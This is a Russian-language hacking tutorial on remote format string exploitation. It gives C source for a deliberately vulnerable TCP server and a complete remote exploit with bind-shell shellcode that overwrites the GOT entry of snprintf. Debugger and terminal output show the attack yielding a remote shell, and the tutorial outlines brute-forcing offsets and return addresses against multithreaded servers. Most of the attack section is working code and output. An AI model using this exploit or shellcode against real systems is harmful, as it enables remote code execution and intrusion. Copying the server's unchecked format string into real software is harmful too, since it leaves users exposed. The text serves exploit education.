Remote Format String Vulnerability. Много уже статей написано на тему описания техник форматирования строк. Но меня поражает то, что в них в качестве примеров авторы показывают локальные уязвимости и эксплоиты к ним. В данной же статье я не буду описывать технику данной ошибки. Я постараюсь показать вам пример написания уязвимого сервера. Так же я покажу пример удаленного эксплоита к нему. Для понимания всего описанного ниже нужны хотябы начальные знания техники форматирования строки, языка Си (прграммирования сокетов в частности). Итак, думаю пора приступить... Вообще ошибка форматирования строки стала известна еще в далеком 1999 году. Но в том же году на нее особо никто не обратил внимания... Все считали, что данная уязвимость не подлежит эксплуатированию и исполнению кода. Но спустя год, практика показала свое. Было написано множество эксплоитов на базе форматирования строки. Ошибки обнаруживались как в больших популярных серверных приложениях, так и в простеньких утилитах. Примером тому может служить мощный эксплоит для wu-ftpd... По сути, сейчас даже встречаются глупые ошибки программистов в популярных серверных приложениях. Например, обнаруженные мной глупые ошибки в openftpd или qwik-smtpd. Ну довольно слов... Пора приступить к делу. В качестве уязвимого сервера я взял пример, написанный мной для статьи "Переполнение буфера для чайников". Я его немного подкорректировал для того, чтобы мы смогли его проэксплуатировать на базе ошибки format string. Вот как он выглядит сейчас: [====================================Server.c=====================================] #include #include #include #define BUFFER_SIZE 2048 #define NAME_SIZE 2048 int handling_client(int c) { char buffer[BUFFER_SIZE], name[NAME_SIZE]; memset(name, 0x00, 2048); memset(buffer, 0x00, 2048); read(c, name, sizeof(name), 0); snprintf(buffer, 2048, name); send(c, buffer, strlen(buffer), 0); return 0; } int main(int argc, char *argv[]) { int Sock, con, client_size; struct sockaddr_in srv, cli; if (argc != 2) { fprintf(stderr, "usage: %s port\n", argv[0]); return 1; } Sock = socket(AF_INET, SOCK_STREAM, 0); srv.sin_addr.s_addr = INADDR_ANY; srv.sin_port = htons( (unsigned short int) atol(argv[1])); srv.sin_family = AF_INET; bind(Sock, &srv, sizeof(srv)); listen(Sock, 3); for(;;) { con = accept(Sock, &cli, &client_size); if (handling_client(con) == -1) fprintf(stderr, "%s: handling() failed", argv[0]); close(con); } return 0; } [====================================Server.c=====================================] Если приглядется в код сервера повнимательнее можно увидеть и саму уязвимость. Она кроется в строке snprintf(buffer, 2048, name); В данной строчке мы с помощью функции snprintf() копируем в "buffer" размером 2048 байт строку, которую ввел пользователь. Как раз в данной функции и заключается ошибка. Мы копируем строку без указания формата ее вывода. В спецификации формат может быть любой из нижеперечисленных: %s - вывод строки %x - вывод строки в hex формате %d - вывод строки в dec формате %c - вывод строки посимвольно Теперь давайте откомпилируем сервер и запустим его. [root@localhost Format]# gcc srv.c -o srv srv.c: In function `main': srv.c:36: warning: passing arg 2 of `bind' from incompatible pointer type srv.c:41: warning: passing arg 2 of `accept' from incompatible pointer type [root@localhost Format]# ./srv usage: ./srv port [root@localhost Format]# ./srv 5555 Итак, сервер приступил к работе. Попробуем к нему подключиться... [root@localhost root]# telnet localhost 5555 Trying 127.0.0.1... Connected to localhost.localdomain (127.0.0.1). Escape character is '^]'. TESTING.... TESTING.... Connection closed by foreign host. [root@localhost root]# Как видно, сервер выводит на экран клиенту введенную им строку... Вроде бы ничего странного... Но давайте попробуем по другому... [root@localhost root]# telnet localhost 5555 Trying 127.0.0.1... Connected to localhost.localdomain (127.0.0.1). Escape character is '^]'. AAAA.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x AAAA.0.41414141.2e78252e.252e7825.78252e78.2e78252e.252e7825. 78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.a0d.0 Connection closed by foreign host. [root@localhost root]# Опа! Вот и ошибка... Мы прочитали содержимое стека. Как видно смещение равно двум. Это подтверждает следующее... [root@localhost root]# telnet localhost 5555 Trying 127.0.0.1... Connected to localhost.localdomain (127.0.0.1). Escape character is '^]'. AAAA%2$x AAAA41414141 Connection closed by foreign host. [root@localhost root]# Так... Смещение мы узнали... Теперь давайте узнаем адрес наших функций, используемых в нашем серверном приложении. Я думаю вы знаете, что в ELF-формате адреса функций расположены в таблице GOT (Global Offset Table). Так вот, для того чтобы узнайть адрес какой-либо функции в бинарнике, нужно выполнить следующее: [root@localhost Format]# objdump -R ./srv ./srv: file format elf32-i386 DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 08049a30 R_386_GLOB_DAT __gmon_start__ 08049a34 R_386_COPY stderr 080499f8 R_386_JUMP_SLOT atol 080499fc R_386_JUMP_SLOT close 08049a00 R_386_JUMP_SLOT fprintf 08049a04 R_386_JUMP_SLOT accept 08049a08 R_386_JUMP_SLOT listen 08049a0c R_386_JUMP_SLOT strlen 08049a10 R_386_JUMP_SLOT __libc_start_main 08049a14 R_386_JUMP_SLOT bind 08049a18 R_386_JUMP_SLOT snprintf 08049a1c R_386_JUMP_SLOT send 08049a20 R_386_JUMP_SLOT htons 08049a24 R_386_JUMP_SLOT memset 08049a28 R_386_JUMP_SLOT socket 08049a2c R_386_JUMP_SLOT read [root@localhost Format]# Так вот, слева адреса функций, которые расположенны справа. В статьях, описывающих технику эксплоитинга format string, приводятся примеры локальных эксплоитов. Там они в качестве перезаписывающегося адреса используют деконструктор или функцию exit(0); В нашем же случае мы не будем использовать деконструктор, т.к. он здесь неактуален. Если мы в качестве адреса для перезаписи возьмем адрес деконструктора, то код будет выполнен только после завершения работы сервера. Нам этого не нужно. В качестве адреса предлагаю взять адрес функции snprintf(). Почему? Да потому что, когда мы пошлем нашу строку серверу, сервер сначала выполнит копирования введеных нами данных, а затем только пошлет на терминал эти же данные. Поэтому при копировании мы перезаписываем адрес функции snprintf() на адрес кода, который лежит в стеке, и шеллкод исполняется с правами пользователя, который запустил уязвимый сервер. Итак, довольно слов... Приступаем к делу... Что мы имеем? А имеем мы следующее: мы знаем смещение ( оно равно двум ) и знаем адрес функции snprintf() ( он равен 0x08049a18 ). Осталось узнать только адрес нашего кода в стеке... Его мы узнаем далее.... Наш удаленный эксплоит должен выполнять следующее... Он должен соединяться с сервером. Далее формировать специальную строку для посылки серверу, а потом только отправлять ее. В случае удачного эксплуатирования мы получим удаленный root шелл на определенном порту. Итак, давайте все это реализуем и напишем эксплоит. Вот как выглядит эксплоит, написанный мной: [====================================Exploit.c=====================================] #include #include #include #define offset 2 // наше смещение #define var 0x08049a18 // адрес функции snprintf() static char shellcode[]= // Bind 2003 PORT "\x31\xc0\x89\xc3\xb0\x02\xcd\x80\x38\xc3\x74\x05\x8d\x43\x01\xcd\x80" "\x31\xc0\x89\x45\x10\x40\x89\xc3\x89\x45\x0c\x40\x89\x45\x08\x8d\x4d" "\x08\xb0\x66\xcd\x80\x89\x45\x08\x43\x66\x89\x5d\x14\x66\xc7\x45\x16" "\x07\xd3\x31\xd2\x89\x55\x18\x8d\x55\x14\x89\x55\x0c\xc6\x45\x10\x10" "\xb0\x66\xcd\x80\x40\x89\x45\x0c\x43\x43\xb0\x66\xcd\x80\x43\x89\x45" "\x0c\x89\x45\x10\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41" "\x80\xf9\x03\x75\xf6\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62" "\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"; int main(int argc, char *argv[]) { int port; char *ip_address; char *addr[3] = { ((char *)var +2), ((char *)var), }; char buffer[1000]; int high, low; long target = 0x41424344; // pre-address int Socket; struct sockaddr_in Addr; if ( argc < 3 ) { printf("Remote Format String Vulnerability Exploit by Dark Eagle\n\nusage: %s \n\n", argv[0]); exit(0); } ip_address = argv[1]; port = atoi(argv[2]); Addr.sin_family = AF_INET; Addr.sin_port = htons(port); Addr.sin_addr.s_addr = inet_addr(ip_address); Socket = socket(AF_INET, SOCK_STREAM, IPPROTO_IP); connect(Socket, (struct sockaddr*)&Addr, sizeof(Addr)); printf("[~] preparing sploit data...\n"); high = (target & 0xffff0000) >> 16; low = (target & 0x0000ffff); high -= 0x8; sprintf(buffer, "%s%%.%dx%%%d$hn%%.%dx%%%d$hn", &addr, high, offset, (low - high)-0x8, offset+1); memset(buffer+strlen(buffer), 0x41, 32); sprintf(buffer+strlen(buffer), "%s\r\n", shellcode); printf("[+] done...\n[~] sending sploit data\n"); send(Socket, buffer, strlen(buffer), 1); printf("[+] done!\n\nNow try to connect %s:2003\n\n", ip_address); close(Socket); } [====================================Exploit.c=====================================] Как можно видеть из кода. В качестве адреса на шеллкод я использовал 0x41424344. Поэтому код не исполнится. Я это сделал специально для того, чтобы показать вам пример нахождения правильного адреса на наш шеллкод. Итак, давайте откомпилируем эксплоит и попробуем запустить. После запуска в корне сервера должен образоваться coredump и сервер должен "упасть". [root@localhost Format]# gcc exploit.c -o exploit [root@localhost Format]# ./exploit 127.0.0.1 31337 [~] preparing sploit data... [+] done... [~] sending sploit data [+] done! Now try to connect 127.0.0.1:2003 [root@localhost Format]# Итак, взглянем на окно сервера... [root@localhost Format]# ./srv 31337 Segmentation fault (core dumped) [root@localhost Format]# ls article.txt core.3110 exploit* exploit.c* srv* srv.c [root@localhost Format]# Опа! Видим сервер рухнул. И в директории создан "отчет". Просмотрим его. [root@localhost Format]# gdb src -core core.3110 GNU gdb 6.0-2mdk (Mandrake Linux) Core was generated by `./srv 31337'. Program terminated with signal 11, Segmentation fault. #0 0x41424344 in ?? () (gdb) Что и следовало ожидать. Наш сервер обратился по адресу 0x41424344, но там ничего нет... Теперь давайте найдем правильный адрес на наш шеллкод. (gdb) x/100x $esp 0xbfffe72c: 0x0804869b 0xbfffef40 0x00000800 0xbfffe740 0xbfffe73c: 0x00000000 0x08049a1a 0x08049a18 0x36312e25 0xbfffe74c: 0x78383936 0x68243225 0x352e256e 0x25783431 0xbfffe75c: 0x6e682433 0x41414141 0x41414141 0x41414141 0xbfffe76c: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffe77c: 0x41414141 0x89c03102 0xcd02b0c3 0x74c33880 0xbfffe78c: 0x01438d05 0xc03180cd 0x40104589 0x4589c389 0xbfffe79c: 0x4589400c 0x084d8d08 0x80cd66b0 0x43084589 0xbfffe7ac: 0x145d8966 0x1645c766 0xd231d307 0x8d185589 0xbfffe7bc: 0x55891455 0x1045c60c 0xcd66b010 0x45894080 0xbfffe7cc: 0xb043430c 0x4380cd66 0x890c4589 0x66b01045 0xbfffe7dc: 0xc38980cd 0x3fb0c931 0x804180cd 0xf67503f9 0xbfffe7ec: 0x6852d231 0x68732f6e 0x622f2f68 0x52e38969 0xbfffe7fc: 0xb0e18953 0x0d80cd0b 0x00000000 0x00000000 (gdb) Можно увидеть, что шеллкод расположен по адресу "0xbfffe77c". Попробуем его подставить вместо 0x41424344. long target = 0xbfffe77c; /// address of our evil c0d3 :) Перекомпилируем и запустим. [root@localhost Format]# gcc exploit.c -o exploit [root@localhost Format]# ./exploit 127.0.0.1 7777 [~] preparing sploit data... [+] done... [~] sending sploit data [+] done! Now try to connect 127.0.0.1:2003 Теперь попробуем соединится с 2003 портом. [root@localhost Format]# telnet localhost 2003 Trying 127.0.0.1... Connected to localhost.localdomain (127.0.0.1). Escape character is '^]'. uname -a Linux localhost 2.6.3-7mdk #1 Wed Mar 17 15:56:42 CET 2004 i686 unknown unknown GNU/Linux Вот и все. Эксплоит сработал успешно и в итоге мы получили шелл на 2003 порту. Теперь хотелось бы немного рассказать о переборах смещения и адресов возврата на код. Со смещением все вроде бы ясно. Алгоритм прост до безобразия... Он примерно таков: Соединяемся с сервером посылаем строку вида AAAA%y$x (где y значение увеличивающееся в цикле на единицу). Далее анализируем ответ сервера. Если он равен "AAAA41414141", то смещение подобрано, если нет, то продолжаем перебор. Но скажу, что данный алгоритм подходит для уязвимых серверов, которые возвращают ответ. Например вида FTP сервера ("331 Now enter password for 'AAAA41414141'"). Здесь все просто. Но если же сервер записывает данные в какой-нибудь лог, то тут уже придется анализировать вручную. Но опять же можно написать программу, которая посылает серверу строку, далее открывает лог и анализирует данные сервера, записанные туда. Теперь переходим к подбору адреса возврата на наш код в стеке. Здесь все обстоит по-другому, нежели со смещением. Вообще удаленный перебор адресов можно применять только к многопоточным серверам. В которых каждому подключившемуся клиенту выделяется отдельный потом, независящий от главного сервера. В таких случаях при посылке спец. строки, которая может привести к краху сервера, главный сервер не падает, а падает дочерний поток сервера. В данном случае можно перебирать адрес спокойно. Алгоритм может быть следующий: Мы знаем, что адреса функций в Linux имеют вид 0xbfffxxxx. То есть можно таким способо запустить цикл, в котором будут перебираться адреса. Примерный цикл таков: int ret, i; for ( i = 1; i <= 0xffff; i+=4 ) { ret = 0xbfff0000+i; } Т.е. после соединения с многопоточным сервером начинаем перебор. Соединились | | | послали строку | | | проверили получили ли мы шелл на каком-либо порту | | | |-- если шелл есть цикл перерывается... | | <--------если нет--------------------------- Вот такая вот замудренная схема. На этом смею отклониться и пожелать вам всяческих удач. Читайте BugTraq, пишите эксплоиты, практикуйтесь. Как говорится: "Все приходит с опытом". Напоследок приведу некольно хороших документаций. [1] Exploiting Format String Vulnerabilities by scut/team teso '01. [2] Format String Bugs by rave/rosiello security '04 [3] Advances in format string exploiting by gera & riq '02 Вот впринципе и все... По всем вопросам пишите на форум http://unl0ck.void.ru/forum